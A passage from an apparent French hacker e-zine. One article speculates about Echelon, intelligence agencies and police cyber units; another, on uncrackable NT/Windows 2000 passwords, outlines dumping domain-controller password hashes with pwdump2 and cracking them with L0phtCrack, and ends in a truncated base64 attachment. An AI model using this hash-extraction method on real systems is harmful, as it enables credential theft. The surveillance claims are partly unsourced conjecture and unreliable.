se cache le " traitement automatique de l'information géopolitique d'actualités " dont le but etait de puiser dans les bases de donnees russes [ndlr:juste les bases russe? Mon oeil ;)]. La particularite de ce logiciel est de travailler sur une base semantique; c'est a dire que le moteur analyse les mots par leur racine. L'objectif de taiga est de traquer l'information dans les depeches de presse. Depuis le temps, l'amelioration et les infos que nous avons pu soutirer (!) laissent a penser qu'il est aussi capable de fouiller les newsgroups... Cela, bien entendu, en etant polyglotte. Le terme exact est omniglotte, mais le mot dans la langue de moliere n'existe pas :(. Pour les barbares de base cela signifie que le logiciel comprends TOUTES les langues. Il y aurait une centaine d'exemplaire existant de ce logiciel (le nombre exact est indetermine). Le createur de ce soft est Christian Krumeich (1987, employe chez Thomson). Un autre joujou se prenomme spirit, rien de moins, et recupere des centaines et centaines de page on-line. Il analyse les mots et etabli des statistiques sur ceux qui aparaissent, disparaissent ou evoluent. A quoi cela sert-il? Ca permet le ciblage des technologies et procedures emergeantes... Imaginez seulement que vous disposiez de cette merveille. Vous seriez au courant de tout avant tout le monde ;). En troisieme lieu, parlons de Semiomap; il permet d'instaurer une carte "semantique" par l'intermediaire de diagrammes. En tapant donc un mot cle, vous avez une bien jolie carte qui s'affiche avec des pastilles de couleur. Imaginons, par hasard, dans le cadre d'un piratage industriel fortuit, les ravages que peut faire un logiciel comme celui la; au moindre changement, vous analysez d'un seul coup d'oeil ce qui s'est passe, faire le tour de la concurrence " en couleurs " .. Enfin, je vais pas vous expliquer comment vous servir d'une carte de geo ;)... Le quatrieme cavalier que je vous propose a le doux surnom de Pericles. Ce soft oriente economie s'occupe de la veille stratégique par l’analyse des changements, des évolutions et des tendances de l’information recueillie. Il developpe ses propres agents de recherche a duree de vie determines. L'info rappatriee est divisee en deux parties. Une dite pertinente (enregistree au format html) l'autre dite interessante (enregistree sous bases de donnees). Le petit bonhomme se paye le luxe d'envoyer des dossiers par E-mail, a son proprio, histoire de resumer le resultat... Le dernier logiciel dont je parlerai n'est pas le moindre (je suppose que la moitie d'entre vous a deja lache depuis longtemps, mais c'est pas grave ;p). Cette petite merveille a ete developpee par une societe qui auparavant bossait exclusivement avec l'armee americaine et les services secret du meme pays. C'est en fait un moteur de recherche (jusque la rien de tres eblouissant!) qui ne bosse que sur les noms propres. Vitesse d'execution: 35000 caractere/s. Les resultats sont redonnes avec des liens hypertextes et des resumes. Voila, j'ai fini avec mon petit baratin technique, c'est promis :p. Tout cela, pour vous reaffirmer comme tant de gens se plaisent a nous le dire, qu'Echelon n'existe pas, ou peu importe son nom d'ailleurs. Aucun systeme n'est en mesure de travailler l'info et recuperer les données. Comme on le dit a la NSA: ici, c'est a peine si nous avons des 486 (precision, a la nsa, les alphas et autres grosses bestioles, ils connaissent po!), alors vous pensez bien, mettre en place un systeme tel que tout le monde le decrit, c'est bien en dehors de nos competences... Vous connaissez l'histoire de la marmotte et du chocolat?! Mais un tel reseau/logiciels ne servirait a rien s'il n'y avait personne pour exploiter les resultats conditionnés. Les grands arbitres sont bien sur les services secrets. Est il necessaire de rappeler qu'il y a deux ans, le gouvernement danois a rendu public le fait qu'une backdoor etait planquee dans le cryptage du logiciel Lotus Notes. Cette porte etait connue des services de la NSA, bizarre ca, nan? On retrouve toujours la meme agence lors du lancement du projet "Iridium". Pour les mecreants qui ne savent oas ce que c'est, je vais l'expliquer vite fait... C'est un projet satellitaire pour les hommes d'affaire, les politiciens, les vip grands voyageurs desireux de s'affranchir des contraintes des réseaux locaux, et plus encore des possibilités d'interception de leurs communications, hautement confidentielles dans la plupart des cas (allo cherie, tu as recue le message pour le repas ce soir?) ... Mais revenons un peu a nos moutons, vous vous fouttez un peu des ricains, vous avez raison... Pour la france, il y avait la rumeur d'une division appelee "11eme soft", en référence au 11e bataillon de choc chargé des coups tordus en situation opérationnelle. Cette division a reellement existe et a ete operationnelle depuis 1988. Elle a arrete 200 petits bonhommes, pov gars ;(... aujourd'hui, elle est remplacee par les quelques organismes suivant: * Service d'enquêtes sur les fraudes aux technologies de l'information (SEFTI), uniquement pour Paris, en charge des copieurs de logiciels, des diffuseurs d'images pédophiles, ou des as du détournement financier (fausses cartes bleues, intrusion dans les réseaux bancaires,...). * Brigade centrale de répression de la ciminalité informatique (BCRCI), devenue Office Central au début de l'année 2000, a exactement le meme role que le Sefti, mais pour le reste de la France; a croire qu'il y ait une grosse concentration d'empecheur de tourner en rond dans la capitale. [ ndt : c'est ptet plutot une grosse concentration de matos non? ] * l'Institut de recherches criminelle de la Gendarmerie nationale (IRCGN), qui detient un service info assez performant d'apres les dire. * Service central de sécurité des sytèmes d'informations (SCSSI), charge de la surveillance de la DST ;) Et vi, quand les flics ne font pas meme confiance aux flics.. Et c'est moi la parano?! :! * la Cellule Internet de la police nationale, basée aux alentours de Paris dans un lieu soigneusement gardé secret. * Pour finir, celle que je ne vous presente plus, j'ai nomme la DST. Pourquoi autant de services? Je ne sais pas, mais notre existence doit certainement les deranger. En tout cas, pour les usa, la peur est identifiee, le pentagone utilise le terme de "Electronic Pearl harbor", l'idee qu'un pirate reunisse tous les pirates et attaque simultanément tous les réseaux américains, non seulement Internet, mais les réseaux de distribution d'électricité, les réseaux de gestion de la circulation aérienne et les réseaux téléphoniques. Le chaos total, l'anarchie; plus de controle, plus de pouvoir... Pour rester dans la zone geographique des US, je vais vous parler en quelques lignes d'une organisation qui combat les services speciaux americains et qui soutient sans l'avouer l'underground... Cette fondation a pour nom Electronic Frontier Foundation (EFF). Suite a l'operation baptise "Sundevil" lancee par le FBI (en 1990), qui fut soit dit en passant une demonstration flagrante de la stupidite de cette agence, ou plusieurs jeunes hackers tel que The Leftist, Acid Phreak ou Phiber Optik (ca doit dire quelque chose au plus anciens d'entre nous...), deux personnes personnes furent cordialement invitees a une reunion entre 4 yeux au bureau du fbi... Le premier se nomme MITCH KAPOR. Il est prof au MIT et est connu entre autres parce que c'est le createur du logiciel Lotus :). L'autre, John Perry Barlow, peu connu pour l'informatique, mais plutot pour le groupe de rock dont il ecrit les paroles, Grateful Dead. Tout deux ressortirent inquiet de leur entretien respectif.. Inquiets pour leur sort, mais aussi par l'incompetence des services du FBI. Chacun des hommes utilisa le net pour raconter ce qui leur etait arrive. Se rendant compte qu'ils avaient vecu la meme experience, ils deciderent de se rencontrer; et c'est a ce moment la qu'EFF est ne, dans le ranch de Barlow. Le but de cette association et d'eviter les deux extremes sur le net... Le chaos et la tyrannie. Les premiers problemes auxquels ils deciderent de s'attaquer furent d'aider les victimes de sundevil ainsi que de trouver des fonds pour financer les batteries d'avocats necessaires. Les deux problemes furent vite regles puisque d'un cote, les victimes ont appele en masse, et d'un autre, les directeurs de grandes entreprises verserent des fonds en se rememorant les exploits qu'eux aussi avaient commis etant plus jeune. En 1995, EFF comptait 3300 militants. Tout cela pour montrer que des gens se sont opposes au systeme et ont damne le pion aux services gouvernementaux... Il y a seulement une chose qui differe chez nous, c'est que nous n'avons pas le 1er amandement de la constitution americaine qui affirme la liberte d'expression de chaque individu. Dans le meme temps, chez nous, ca n'etait pas tout a fait la meme chose qui se tramait. Vous connaissez le CCCF? Nan, c'est pas le dernier groupe de rap a la mode.. ce sont les initiales du Chaos Computer Club Francais. Le seul hic a la chose etant que ce club fut cree par la DST. Il mirent un petit gars du nom de Jean Bernard Condat (desole mr, je te grille encore une fois ne serait ce qu'aupres des newbies, mais il faut bien les informer ;). Ce club regroupait un certain nombre de pirate (72 exactement, par roulement) plus ou moins bon...(nota: ils etaient tous bons a l'epoque, l'info n'etait pas encore democratise ;)...Et chacun de ces petits avait une specialite: l'ergonomie des claviers (oui, je sais, c'est ouf!), les grands systèmes type SNCF, France Télécom, les satellites, les communications enfouies ou portables sur un individu, les gadgets comme les fausses montres, les médias... Le role de JB la dedans etait d'informer la DST des agissements de ses camarades et de conseiller en disant par exemple "celui la est vraiment bon...". Le petit bonhomme a donne des infos sur 1032 personnes... au nez et a la barbe de tous! Il a tenu son role pendant 52 mois avant d'etre mis en inculpation par un service different;). Voila ce que dit JB de la DST:"Il est impossible de ne pas travailler pour eux, quand vous avez rencontré pendant 52 mois un milieu aussi étrange, absurde, loufoque, manquant de moyen mais ayant une influence quasi omniprésente sur les médias, la presse, la culture, l'air qu'il fait, etc.." ... Voila, la bombe est larguee! Influence quasi omni presente sur media/presse/culture... On resume parfois ce pouvoir par l'Illumination. Pour finir, je commenterai l'interview (empruntee a Transfert.net pour le copier/coller) de Marcel Vigouroux, commissaire principal, chef de l'Office Central de Lutte contre la Criminalité liée aux Technologies de l'Information et de la Communication (OCLCTIC). Il parle d'une reunion que les organisations citees plus haut ont eu a Poitiers en novembre. Durant ce colloque, ils ont planche sur les PABX et la localisation par GSM... Tout cela, bien sur, avec l'aimable collaboration de FT a qui je dedie ce fuck off et Internet Security System pour leur logiciel RealSecure. 1-"Les dangers de la cybercriminalité ne sont-ils pas un peu surévalués ? Pour l’instant, nous n’avons pas beaucoup de matériel. Vous savez, nous sommes obligés de louer du matériel pour les interceptions sur les lignes téléphoniques ou chez les ISP. C’est du matériel de pointe. Mais dès que nous aurons notre matériel, les demandes et les affaires vont affluer. Pour l’instant, on a traité trois affaires de pédophilie. On en est aux balbutiements." Je lance donc une collecte generale pour les services secrets...mdrrrr.. nan mais sans dec, que ceux qui y croient levent le doigt... 2-"Faites-vous appel à des sociétés de sécurité informatique ou à des hackers ? Non. Jamais" Deux solutions, il ne connait pas la DST ou il ne connait pas JB Condat..lol... 3-"Mais ce que vous appelez la conservation des données, c’est bien plus vaste que ce qui existe dans le monde réel? Non. Les données relatives au téléphone sont également stockées. Nous, on ne demande que les URL, pas les e-mails. Il nous faut des traces de connexion pour remonter à la source d’un crime. Ce ne sont pas des données personnelles. Ça, c’est ce que disent les paranoïaques sécuritaires comme les gens de la CNIL." Pour une fois que la CNIL sert a quelquechose... 4-"Mais vous savez que, par exemple, avec certains protocoles comme ICMP (1), on peut remonter en temps réel d’une adresse IP à un numéro de téléphone ? C’est quoi ça, ICMP ? On n'a pas ça, nous, on ne s’amuse pas à ça." mdrrrrr... Donc en fait, on a vraiment a faire a des newbies ou des dissimulateurs. En tout cas, ce service de remonte par IP va etre accessible au public, en acces payant bien sur, pour ceux qui le desireront... Ils sont fort nos services secrets qd meme... "(1) ICMP (Internet Control Message Protocol) est un protocole de communication sur réseau IP. Il s’agit d’un protocole qui permet notamment de contrôler la bonne transmission des paquets IP. ICMP est un protocole au même titre qu’IP" Voila, voila, voila... C'est la fin de mon sujet... J'espere vous avoir aide a voir clair dans tout ce bordel et surtout sur 3 points: 1- Echelon existe ou en tout cas a la capacite technique d'exister pour ceux qui douteraient encore. 2- Les services secrets sont presents; ce n'est pas une idee; ils s'interessent a la communaute... 3- S'ils ont reussi a s'infiltrer une fois, ils le referont... Take care!!! Sur ce, pensez tout de meme a sortir de chez vous... ;) Parano, moi? Z'etes pas fou, non? On risque rien ;p (greetz to K!) Lansciac [« CYBERCRIMINALITÉ », L'APPAREIL JUDICIARO-POLICIER EN FRANCE par davduff] http://www.minirezo.net/article106.html [Methode de chiffrement par le DES] http://skreel.dyndns.org/cryptnux/DES.html [AGENTS DE RECHERCHE DE L'INFORMATION AUTOMATISES] http://dgse.citeweb.net/agentintello.htm [Cyberflash a rencontré pour vous Jean Guisnel, auteur du livre Guerres dans le cyberespace, paru aux éditions de La Découverte.] http://www.cplus.fr/html/cyberflash/archive/itwguis.htm [Jean Bernard Condat.] http://www.magic.be/InterieurNuit/SiteMars/Condat.html [Journal Jaranghar (nouvelle cyber punk)] http://lsewww.epfl.ch/wiesmann/TV/SillyTV/Jaranghar/Journal.html [La cyber-guerre à l'orée du XXIe siècle.] http://www.confidentiel-defense.com/mag/informat/cybergue.htm [Les vacances de Zataz] http://www.kitetoa.com/Pages/Textes/Textes/Precision/vacances.htm [BATAILLE POUR LA LIBERTÉ SUR LES RÉSEAUX INFORMATIQUES L'odyssée des pirates dans la jungle Internet] http://www.monde-diplomatique.fr/1995/06/EUDES/1526.html [Que faire des preuves encryptées ?] http://www.reality.be/rnn/actus/amedia.htm [Chantage Internet] http://www.reality.be/rnn/actus/amedia.htm [Les cyberflics se mettent aux travaux pratiques] http://transfert.net/fr/cyber_societe/article.cfm?idx_rub=87&idx_art=2599 ############# # Important # ############# Detail pour ceux qui voudrait trahir leur pensee pour gagner du fric... la DST payait 4F30 de l'heure... avec les augmentations et les 35 h on arrondira a 7F pour faire bien ;) Lucie ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ _____________________ _ -*7*- `^°*;:,.>Pass Secure sur NT5<.,:;*°^` _____________________________/¯¯¯¯¯¯¯ tobozo ¯¯¯¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Comment rendre les passwords de NT4 et Windows2000 incrackables. Le cas windows 2000 Il fut un temps ou n'importe quel newbie pouvait s'offrir les droits admin du premier serveur NT (comme l'A.U.P par exemple) qu'il trouvait sur sa route. La methode consistait a utiliser L0phtCrack pour obtenir un la liste complete des utilisateurs et passwords sous forme de hash list, puis de lancer son password rippeur favori et de laisser le temps faire le reste. Avec windows 2000 c'est une autre histoire, la base de registre ne lache pas si facilement ses droits. Meme si windows 2000 repond avec des que L0phtCrakc comprendra et acceptera, la hash list ne contient pas du des donnees qui soient des vrai hashes NTML ou LM (qui sont les deux types sur lesquels l0pht travaille). En tous cas jusqu'a la version 2.5 de ce programme cela ne fonctionne pas. La methode la plus efficace reste encore de faire executer le programme pwdump2 ([wget::http://www.webspan.net/~tas/pwdump2/]) sur le controleur de domaine (ce programme *doit* etre executé localementetant donné qu'il n'y a pas moyen de le voir fonctionner a partir d'une workstation). En gros la seule facon de recuperer les fichiers hashés pour travailler dessus est de copier les fichiers sur le controleur de domaine, puis avec de droits admins (telnet ou acces physique) executer pwdump2 sur le controleur de domaine, et enfin obtenir les resultats sous une forme exportable vers l0phtcrak. Windows 2000 differe de windows NT car il utilise Kerberos pour authentifier les passwords. Kerberos fonctionne en considerant les passwords comme des clés privées avant d'obtenir un bit d'information de la part du serveur, qui est ensuite encrypté avec la clé et retourné au serveur. Le serveur vérifie ensuite l'information encryptée, et s'il peut la décrypter avec le password qui lui est soumis, l'utilisateur est authentifié. De cette facon il est impossible d'obtenir des informations de login ni de hashes en sniffant des eventuels passwords sur le reseau. Malheureusement cela ne marche que de win2000 vers win2000 et seulement si l'environnement est du pur win2000 (Server, PDC) !!.. La version Kerberos d'Unix (qui exploite ca depuis des années) n'est pas compatible non plus car elle est implémentée différemment (kro$oft a préféré avoir SA version de Kerberos, dans la série je réinvente la roue ils se posent la). On peut résumer en disant que Win2000 est presque identique a NT4 simplement parce qu'il stocke les memes infos hashées. La différence se situe sur la difficulté a les obtenir, et elle est maigre. Etant donné que les deux systemes d'exploitation traitent les passwords hashés de la meme facon, faire un password incrackable pour l'un est valable pour l'autre. Les passwords incrackables pour NT4/Win2000 : Ils existent La plupart des passwords qui se veulent secure sont créés pour résister au temps. Il s'agit evidemment du temps passé a essayer de les cracker. Peu de personnes peuvent jurer que leur pass est incrackable, au mieux peuvent affirmer que ca prendrait un temps fou a cracker et que tout script kiddie qui se respecte a une limite a sa patience. La methode est simple, elle est basée sur le fait que l0phtcrack offre uniquement de cracker 68 des 256 caracteres possibles de la table ASCII. Qu'arrive t il aux autres caracteres ? Et ca n'est pas tout, windows a 187 caracteres sur 308 (caracteres propres a windows aussi autorisés dans les passwords) qui sont egalement incrackables par l0phtcrack 2.5 Ils peuvent etre obtenus en gardant la touche ALT enfoncée et en tapant la valeur décimale ASCII sur le pavé numérique, puis en relachant la touche ALT. Table of Uncrackable Alt-Characters Ci joint une petite liste des caracteres incrackables et crackables, avec un bench effectué sur une machine sur laquelle 308 utilisateurs ont été créés, chacun ayant comme nom d'utilisateur *et* mot de passe le meme caractere. Les memes caracteres ont été reportés dans le fichier dictionnaire ayant servi a travaillers les fichiers hashés récupérés sur la machine ou les 308 comptes ont été créés, il y a 187 caracteres 100% secure. blah blah blah avec ton encodeur tu encoderas et avec ton decodeur decoderas Content-Type: application/x-zip-compressed; name="Alt-Chars.zip" Content-Transfer-Encoding: base64 Content-Disposition: embedded; filename="Alt-Chars.zip" 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 